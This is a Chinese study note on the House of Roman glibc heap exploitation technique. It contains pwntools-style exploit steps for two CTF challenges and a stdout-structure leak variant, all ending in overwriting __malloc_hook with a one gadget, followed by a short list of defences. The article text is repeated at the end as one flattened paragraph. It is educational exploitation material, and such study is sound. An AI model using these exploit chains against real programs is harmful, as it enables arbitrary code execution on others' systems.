House-Of-Roman学习笔记
字数 1916 2025-08-24 23:51:15

House of Roman 攻击技术详解

一、技术概述

House of Roman 是一种由 romanking98 在 2018 年 4 月提出的堆利用技术,主要用于无输出功能(无 show 功能)的二进制程序,通过部分地址覆盖(partial overwrite)和爆破(brute force)来绕过 ASLR 保护。

核心特点:

  1. 不需要泄露 libc 地址
  2. 结合 fastbin attack 和 unsorted bin attack
  3. 依赖部分地址覆盖技术
  4. 需要爆破(成功率约 1/4096)

二、攻击原理

House of Roman 攻击分为三个主要步骤:

  1. 通过部分地址覆盖修改 fastbin 的 fd:将其指向 __malloc_hook-0x23 的位置(因为该位置通常有 0x7f 的伪 size 字段)
  2. 通过 unsorted bin attack:将 main_arena 地址写入 __malloc_hook
  3. 通过 fastbin attack:利用部分地址覆盖修改 __malloc_hook 为 one gadget

三、关键技术点

1. Fastbin Attack 部分

  • 目标:将 fastbin 的 fd 指向 __malloc_hook-0x23
  • 关键点:
    • __malloc_hook-0x23 处通常有 0x7f 的伪 size 字段
    • 需要先释放一个 fastbin chunk 到 fastbin 链中
    • 通过部分地址覆盖(通常覆盖低 2 字节)修改 fd

2. Unsorted Bin Attack 部分

  • 目标:将 main_arena 地址写入 __malloc_hook
  • 关键点:
    • 需要构造 overlapping chunk 来操作 unsorted bin
    • 修改 unsorted bin 的 bk 为 __malloc_hook-0x10
    • 通过分配操作触发 unsorted bin attack

3. One Gadget 写入

  • 目标:将 __malloc_hook 覆盖为 one gadget
  • 关键点:
    • 通过 fastbin attack 获得 __malloc_hook 附近的写权限
    • 使用部分地址覆盖(通常覆盖低 3 字节)修改为 one gadget 地址
    • 通过 double free 或其他方式触发 __malloc_hook

四、实战案例分析

案例 1:护网杯 2018 calendar

程序分析:

  • 功能:add/edit/remove,无 show 功能
  • 漏洞:
    1. off-by-one 漏洞(读取输入函数)
    2. remove 后未清空指针(UAF/double free)

利用步骤:

  1. 初始堆布局
add(0, 0x18)  # 0
add(1, 0x68)  # 1 
add(2, 0x68)  # 2
add(3, 0x68)  # 3
  1. 构造 overlapping chunk
remove(1)
edit(0, 0x18, 'a'*0x18 + '\xe1')  # off-by-one 修改 chunk1 size 为 0xe1
remove(1)  # 现在 chunk1 包含 chunk2,形成 unsorted bin
  1. Fastbin attack 准备
add(3, 0x18)  # 从 unsorted bin 分配
edit(3, 0x1, p64(libc.sym['__malloc_hook']-0x23)[:2])  # 部分覆盖 fd
edit(0, 0x18, 'a'*0x18 + '\x71')  # 修复 size 为 0x71
  1. 获取 __malloc_hook 附近 chunk
add(1, 0x68)
add(0, 0x68)  # 现在 chunk0 指向 __malloc_hook-0x13
  1. Unsorted bin attack
remove(1)
edit(1, 7, p64(0))  # 修复 fastbin
add(3, 0x68)

add(3, 0x48)  # 分割 unsorted bin
edit(2, 0x8+1, p64(0) + p64(libc.sym['__malloc_hook']-0x10)[:2])  # 修改 bk
add(3, 0x68)  # 触发 unsorted bin attack
  1. 写入 one gadget
one_gadget = libc.address + 0xf02a4
edit(0, 0x13+2, 'a'*0x13 + p64(one_gadget)[:3])  # 部分覆盖 __malloc_hook
remove(3)
remove(3)  # 触发 __malloc_hook

案例 2:云安全共测大赛 fkroman

程序分析:

  • 功能:alloc/free/edit,show 功能不可用
  • 漏洞:
    1. 堆溢出(edit 时长度用户可控)
    2. free 后未清空指针

简化利用步骤:

  1. 初始堆布局
alloc(0, 0x10)
alloc(1, 0x60)
alloc(2, 0x60)
alloc(3, 0x60)
  1. 构造 overlapping chunk
free(1)
edit(0, 0x20, flat(0, 0, 0, 0xe1))  # 堆溢出修改 size
free(1)
  1. Fastbin attack
edit(0, 0x22, flat(0, 0, 0, 0x71) + p64(libc.sym['__malloc_hook']-0x23)[:2])
alloc(4, 0x60)
alloc(5, 0x60)  # 获取 __malloc_hook 附近 chunk
  1. Unsorted bin attack
edit(0, 0x22+8, flat(0, 0, 0, 0xe1, 0) + p64(libc.sym['__malloc_hook']-0x10)[:2])
alloc(6, 0xd0)  # 触发 unsorted bin attack
  1. 写入 one gadget
one_gadget = libc.address + 0xf1147
edit(5, 0x16, 'a'*0x13 + p64(one_gadget)[:3])
alloc(8, 0x60)  # 触发 __malloc_hook

五、替代方案:IO_FILE 结构体利用

由于 House of Roman 成功率较低(1/4096),实际中更推荐使用修改 _IO_2_1_stdout_ 结构体的方法来泄露地址,成功率可提高到 1/16。

关键步骤:

  1. 通过 fastbin attack 修改 fd 指向 stdout 结构体附近
  2. 修改 stdout 结构体使其泄露 libc 地址
  3. 获取 libc 基址后直接攻击 __malloc_hook

示例代码:

# 修改 fd 指向 stdout 结构体附近
edit(0, 0x22, flat(0, 0, 0, 0x71) + p16(0x65dd))
alloc(4, 0x60)
alloc(5, 0x60)

# 修改 stdout 结构体泄露地址
edit(5, 0x54, 'a'*0x33 + p64(0xfbad2887 | 0x1000) + p64(0)*3 + '\x00')
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - libc.sym['_IO_2_1_stderr_'] - 192

# 常规 fastbin attack 修改 __malloc_hook
free(2)
edit(2, 0x8, p64(libc.sym['__malloc_hook'] - 0x23))
alloc(6, 0x60)
alloc(7, 0x60)
edit(7, 0x1b, 'a'*0x13 + p64(libc.address + 0xf1147))
alloc(8, 0x60)

六、防御措施

  1. 启用完整的 ASLR:增加爆破难度
  2. 堆分配器保护机制
    • 对 fastbin fd 的完整性检查
    • 对 unsorted bin 操作的检查
  3. 代码审计
    • 检查 off-by-one 等边界错误
    • 确保 free 后指针清零
  4. 使用最新版本的 glibc:包含更多堆保护机制

七、总结

House of Roman 是一种在无信息泄露情况下的堆利用技术,虽然成功率不高,但其技术思路值得学习。在实际利用中,更推荐使用 IO_FILE 结构体泄露地址的方法,成功率更高且更稳定。理解这些技术有助于更好地防御相关攻击。

House of Roman 攻击技术详解 一、技术概述 House of Roman 是一种由 romanking98 在 2018 年 4 月提出的堆利用技术,主要用于无输出功能(无 show 功能)的二进制程序,通过部分地址覆盖(partial overwrite)和爆破(brute force)来绕过 ASLR 保护。 核心特点: 不需要泄露 libc 地址 结合 fastbin attack 和 unsorted bin attack 依赖部分地址覆盖技术 需要爆破(成功率约 1/4096) 二、攻击原理 House of Roman 攻击分为三个主要步骤: 通过部分地址覆盖修改 fastbin 的 fd :将其指向 __malloc_hook-0x23 的位置(因为该位置通常有 0x7f 的伪 size 字段) 通过 unsorted bin attack :将 main_ arena 地址写入 __malloc_hook 通过 fastbin attack :利用部分地址覆盖修改 __malloc_hook 为 one gadget 三、关键技术点 1. Fastbin Attack 部分 目标:将 fastbin 的 fd 指向 __malloc_hook-0x23 关键点: __malloc_hook-0x23 处通常有 0x7f 的伪 size 字段 需要先释放一个 fastbin chunk 到 fastbin 链中 通过部分地址覆盖(通常覆盖低 2 字节)修改 fd 2. Unsorted Bin Attack 部分 目标:将 main_ arena 地址写入 __malloc_hook 关键点: 需要构造 overlapping chunk 来操作 unsorted bin 修改 unsorted bin 的 bk 为 __malloc_hook-0x10 通过分配操作触发 unsorted bin attack 3. One Gadget 写入 目标:将 __malloc_hook 覆盖为 one gadget 关键点: 通过 fastbin attack 获得 __malloc_hook 附近的写权限 使用部分地址覆盖(通常覆盖低 3 字节)修改为 one gadget 地址 通过 double free 或其他方式触发 __malloc_hook 四、实战案例分析 案例 1:护网杯 2018 calendar 程序分析: 功能:add/edit/remove,无 show 功能 漏洞: off-by-one 漏洞(读取输入函数) remove 后未清空指针(UAF/double free) 利用步骤: 初始堆布局 构造 overlapping chunk Fastbin attack 准备 获取 __ malloc_ hook 附近 chunk Unsorted bin attack 写入 one gadget 案例 2:云安全共测大赛 fkroman 程序分析: 功能:alloc/free/edit,show 功能不可用 漏洞: 堆溢出(edit 时长度用户可控) free 后未清空指针 简化利用步骤: 初始堆布局 构造 overlapping chunk Fastbin attack Unsorted bin attack 写入 one gadget 五、替代方案:IO_ FILE 结构体利用 由于 House of Roman 成功率较低(1/4096),实际中更推荐使用修改 _IO_2_1_stdout_ 结构体的方法来泄露地址,成功率可提高到 1/16。 关键步骤: 通过 fastbin attack 修改 fd 指向 stdout 结构体附近 修改 stdout 结构体使其泄露 libc 地址 获取 libc 基址后直接攻击 __malloc_hook 示例代码: 六、防御措施 启用完整的 ASLR :增加爆破难度 堆分配器保护机制 : 对 fastbin fd 的完整性检查 对 unsorted bin 操作的检查 代码审计 : 检查 off-by-one 等边界错误 确保 free 后指针清零 使用最新版本的 glibc :包含更多堆保护机制 七、总结 House of Roman 是一种在无信息泄露情况下的堆利用技术,虽然成功率不高,但其技术思路值得学习。在实际利用中,更推荐使用 IO_ FILE 结构体泄露地址的方法,成功率更高且更稳定。理解这些技术有助于更好地防御相关攻击。